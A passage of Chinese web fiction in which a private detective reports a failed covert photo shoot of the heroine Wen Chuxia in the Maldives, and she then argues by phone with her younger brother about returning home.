目送温初夏的背影消失在拐角处,男人把相机从池底捞起来,发现不仅镜头摔得稀碎,泡水后还开不了机,一脸蛋疼地从大裤衩口袋里掏出手机,拨打电话。 “喂,什么事?” 听到对方还是那副万年不变的冷淡嗓音,似乎世界上没有任何东西、任何事情能激起他的兴趣,打乱他的阵脚。 受他影响,男人郁闷的心情迅速平息了下去,又恢复到之前吊儿郎当不着调的状态,故作神秘地笑嘻嘻道: “我这里有一个好消息,一个坏消息,你想先听哪一个?” 对方:“我有从你嘴里听到过好消息吗?” 男人:“…………” “少废话,你就说想先听哪一个吧!” 他无语地靠在墙边,右脚撒开拖鞋,去挠左边小腿上新鲜出炉的蚊子包,毫无形象可言,简直浪费他这张风流的帅脸。 “好的。” “好消息是,我找到她了。”他得意洋洋,放下脚。 对方安静片刻,问:“那坏的呢?” “坏消息是,偷拍行动失败——她发现了我,还把相机弄报废了,现在我手里一张她的照片也没有。” 对方:“我记得你的职业似乎是私家侦探。” “我靠怪我啊?!” 男人大惊小怪,力求证明不是自己的锅:“是她侦查意识太强了好不好。我之前可从没失过手,你是知道的!” “继续拍,记得小心点。”对方友情提醒,“再被发现,我相信她一定会把你送去警局。” “哼,当然不会有下次了。”男人有种被看轻的不爽,揉揉鼻子,说:“那买新相机的钱……” “我报销。但如果三天之后我还见不到照片,你会被解雇。” “三天?这么短?!那万一她这三天都呆在房间……” 男人还没据理力争完,通话就中断了,气的他狠狠一跺脚,“靠,早知道就不打这个电话了。” “你有病啊,有事没事打电话过来干嘛?” 海景套房内,温初夏盘腿坐在桌前,手机夹在左脸和肩膀之间,把刚刚缴获的SD卡插入笔记本电脑,眉心不耐烦地折起,“我这边忙着呢,挂了……” “别别!”电话那头急忙阻拦,年轻的嗓音恳切中带着一丝淡淡的哀伤:“姐姐,马上就要十二月份了,今年都要结束了,你到底什么时候才回国呀?” “都说了,我还没玩够,目前不打算回去。” 温初夏点了下扩音键,把手机扔在电脑旁边,右手握住鼠标,读取卡里的东西。 里面只有十来张照片,全是她拿着冲浪板进入酒店大堂的画面。 看来那个变态是头一回偷拍自己。 温初夏稍微放下心。 温景澈沉默了会儿,幽幽道:“可你已经快五年没回过家了,我从初三读到大一,一直没能见到你的面。从前你不许我来伦敦找你,现在又呆在马尔代夫不回来……姐姐,你是不是因为讨厌我,所以才不愿意回家的?” 温初夏无声呵呵:少往自己脸上贴金好吗。 “你想多了。”她轻蔑道,“我是为了陪我妈,跟你有半毛钱关系?脑子不好使有臆想症就去医院治,多吃点儿药。” 病的不轻啊你,这智商,究竟是怎么考上S大的? “就算姐姐你讨厌我,可怀瑾哥哥呢。” 温景澈算是彻底较上劲了,硬邦邦地说:“昨天我在宴会上碰到他的时候,他还向我问起你呢,说你毕业这么长时间怎么还不回S市,他也很想你。” 温初夏深吸一口气—— 没完没了了是吧?还把霸总文男主搬出来了。 你个小屁孩知不知道,正是因为你的口中的“怀瑾哥哥”不够给力,直到现在都没和女主江以沫勾搭上,我才会被迫留在赤道边边的好吗! 她直接把电话挂了。 另一头,温景澈阴沉沉地看了眼手机屏幕,放进灰色呢子大衣口袋,在花架之间转过身,神色温和地询问在收银台忙活的花店店长: “老板,请问您这里有百合花的球根卖吗?我想买,越多越好。”